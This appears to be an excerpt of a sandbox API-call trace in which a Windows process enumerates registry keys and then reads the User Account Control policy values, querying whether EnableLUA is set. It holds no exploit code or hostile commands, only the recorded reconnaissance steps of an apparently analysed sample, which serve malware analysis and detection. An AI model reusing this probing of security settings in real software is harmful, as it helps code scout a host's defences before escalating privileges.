1 [0257.483] RegEnumKeyW (in: hKey=0x38, dwIndex=0x30, lpName=0x55b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0257.483] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0257.483] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x55c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0257.483] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.483] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.483] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.483] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.483] RegEnumKeyW (in: hKey=0x38, dwIndex=0x31, lpName=0x55b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0257.483] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.484] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x55c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0257.484] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.484] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.484] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.484] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bbb8) returned 1 [0257.484] RegEnumKeyW (in: hKey=0x38, dwIndex=0x32, lpName=0x55b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0257.484] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55bbb8 [0257.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0257.484] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x55c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0257.484] RegEnumKeyW (in: hKey=0x38, dwIndex=0x33, lpName=0x55b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0257.484] RegEnumKeyW (in: hKey=0x38, dwIndex=0x34, lpName=0x55b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0257.484] RegEnumKeyW (in: hKey=0x38, dwIndex=0x35, lpName=0x55b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0257.484] RegEnumKeyW (in: hKey=0x38, dwIndex=0x36, lpName=0x55b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0257.484] RegEnumKeyW (in: hKey=0x38, dwIndex=0x37, lpName=0x55b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0257.484] RegEnumKeyW (in: hKey=0x38, dwIndex=0x38, lpName=0x55b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0257.484] RegEnumKeyW (in: hKey=0x38, dwIndex=0x39, lpName=0x55b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0257.484] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3a, lpName=0x55b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0257.484] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3b, lpName=0x55b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0257.485] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3c, lpName=0x55b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0257.485] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3d, lpName=0x55b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0257.485] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3e, lpName=0x55b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0257.485] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3f, lpName=0x55b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0257.485] RegEnumKeyW (in: hKey=0x38, dwIndex=0x40, lpName=0x55b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0257.485] RegEnumKeyW (in: hKey=0x38, dwIndex=0x41, lpName=0x55b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0257.485] RegEnumKeyW (in: hKey=0x38, dwIndex=0x42, lpName=0x55b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0257.485] RegEnumKeyW (in: hKey=0x38, dwIndex=0x43, lpName=0x55b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0257.485] RegEnumKeyW (in: hKey=0x38, dwIndex=0x44, lpName=0x55b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0257.485] RegEnumKeyW (in: hKey=0x38, dwIndex=0x45, lpName=0x55b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0257.485] RegEnumKeyW (in: hKey=0x38, dwIndex=0x46, lpName=0x55b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0257.485] RegEnumKeyW (in: hKey=0x38, dwIndex=0x47, lpName=0x55b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0257.485] RegEnumKeyW (in: hKey=0x38, dwIndex=0x48, lpName=0x55b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0257.485] RegEnumKeyW (in: hKey=0x38, dwIndex=0x49, lpName=0x55b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0257.485] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4a, lpName=0x55b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0257.485] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4b, lpName=0x55b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0257.486] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4c, lpName=0x55b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0257.486] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4d, lpName=0x55b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0257.486] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4e, lpName=0x55b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0257.486] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4f, lpName=0x55b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0257.486] RegEnumKeyW (in: hKey=0x38, dwIndex=0x50, lpName=0x55b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0257.486] RegEnumKeyW (in: hKey=0x38, dwIndex=0x51, lpName=0x55b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0257.486] RegEnumKeyW (in: hKey=0x38, dwIndex=0x52, lpName=0x55b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0257.486] RegEnumKeyW (in: hKey=0x38, dwIndex=0x53, lpName=0x55b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0257.486] RegEnumKeyW (in: hKey=0x38, dwIndex=0x54, lpName=0x55b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0257.486] RegEnumKeyW (in: hKey=0x38, dwIndex=0x55, lpName=0x55b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0257.486] RegEnumKeyW (in: hKey=0x38, dwIndex=0x56, lpName=0x55b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0257.486] RegEnumKeyW (in: hKey=0x38, dwIndex=0x57, lpName=0x55b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0257.486] RegEnumKeyW (in: hKey=0x38, dwIndex=0x58, lpName=0x55b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0257.486] RegEnumKeyW (in: hKey=0x38, dwIndex=0x59, lpName=0x55b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0257.486] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5a, lpName=0x55b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0257.487] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5b, lpName=0x55b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0257.487] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5c, lpName=0x55b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0257.487] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5d, lpName=0x55b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0257.487] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5e, lpName=0x55b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0257.487] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5f, lpName=0x55b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0257.487] RegEnumKeyW (in: hKey=0x38, dwIndex=0x60, lpName=0x55b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0257.487] RegEnumKeyW (in: hKey=0x38, dwIndex=0x61, lpName=0x55b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0257.487] RegEnumKeyW (in: hKey=0x38, dwIndex=0x62, lpName=0x55b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0257.487] RegEnumKeyW (in: hKey=0x38, dwIndex=0x63, lpName=0x55b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0257.487] RegEnumKeyW (in: hKey=0x38, dwIndex=0x64, lpName=0x55b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0257.487] RegEnumKeyW (in: hKey=0x38, dwIndex=0x65, lpName=0x55b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0257.487] RegEnumKeyW (in: hKey=0x38, dwIndex=0x66, lpName=0x55b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0257.487] RegEnumKeyW (in: hKey=0x38, dwIndex=0x67, lpName=0x55b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0257.487] RegEnumKeyW (in: hKey=0x38, dwIndex=0x68, lpName=0x55b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0257.487] RegEnumKeyW (in: hKey=0x38, dwIndex=0x69, lpName=0x55b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0257.488] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6a, lpName=0x55b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0257.488] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6b, lpName=0x55b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0257.488] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6c, lpName=0x55b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0257.488] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6d, lpName=0x55b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0257.488] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6e, lpName=0x55b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0257.488] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6f, lpName=0x55b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0257.488] RegEnumKeyW (in: hKey=0x38, dwIndex=0x70, lpName=0x55b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0257.488] RegEnumKeyW (in: hKey=0x38, dwIndex=0x71, lpName=0x55b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0257.488] RegEnumKeyW (in: hKey=0x38, dwIndex=0x72, lpName=0x55b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0257.488] RegEnumKeyW (in: hKey=0x38, dwIndex=0x73, lpName=0x55b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0257.488] RegEnumKeyW (in: hKey=0x38, dwIndex=0x74, lpName=0x55b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0257.488] RegEnumKeyW (in: hKey=0x38, dwIndex=0x75, lpName=0x55b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0257.488] RegEnumKeyW (in: hKey=0x38, dwIndex=0x76, lpName=0x55b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0257.488] RegEnumKeyW (in: hKey=0x38, dwIndex=0x77, lpName=0x55b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0257.488] RegEnumKeyW (in: hKey=0x38, dwIndex=0x78, lpName=0x55b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0257.488] RegEnumKeyW (in: hKey=0x38, dwIndex=0x79, lpName=0x55b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0257.489] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7a, lpName=0x55b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0257.489] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7b, lpName=0x55b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0257.489] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7c, lpName=0x55b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0257.489] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7d, lpName=0x55b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0257.489] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7e, lpName=0x55b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0257.489] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7f, lpName=0x55b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0257.489] RegEnumKeyW (in: hKey=0x38, dwIndex=0x80, lpName=0x55b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0257.489] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0257.489] RegCloseKey (hKey=0x38) returned 0x0 [0257.489] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x55b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0257.489] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0257.489] RegCloseKey (hKey=0xc4) returned 0x0 [0257.489] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x55b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0257.489] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x55b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0257.489] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x55b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0257.490] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x55b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0257.490] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x55b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0257.490] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x55b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0257.490] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x55b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0257.490] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x55b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0257.490] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x55b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0257.490] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x55b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0257.490] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x55b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0257.490] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x55b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0257.490] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x55b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0257.492] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x55b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0257.492] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x55b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0257.492] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x55b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0257.492] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x55b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0257.492] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x55b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0257.492] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x55b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0257.492] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x55b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0257.492] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x55b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0257.493] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x55b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0257.493] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x55b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0257.493] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x55b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0257.493] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x55b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0257.493] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x55b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0257.493] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x55b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0257.493] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x55b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0257.493] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x55b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0257.493] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x55b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0257.493] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x55b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0257.493] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x55b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0257.493] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x55b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0257.493] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x55b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0257.493] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x55b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0257.493] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x55b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0257.494] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x55b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0257.494] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x55b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0257.494] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x55b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0257.494] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x55b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0257.494] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0257.494] RegCloseKey (hKey=0x38) returned 0x0 [0257.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x55b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0257.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x55b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0257.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x55b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0257.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x55b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0257.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x55b930, cchName=0x104 | out: lpName="System") returned 0x0 [0257.494] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0257.494] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b930) returned 1 [0257.494] RegCloseKey (hKey=0xc4) returned 0x0 [0257.494] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55b860) returned 1 [0257.495] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.495] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.495] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.495] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.495] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.495] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.495] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.495] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.495] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.496] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.496] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.496] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.496] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.496] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.496] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.496] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0257.496] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0257.496] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0257.496] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x55c438, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x55c438*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0257.496] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c438) returned 1 [0257.496] 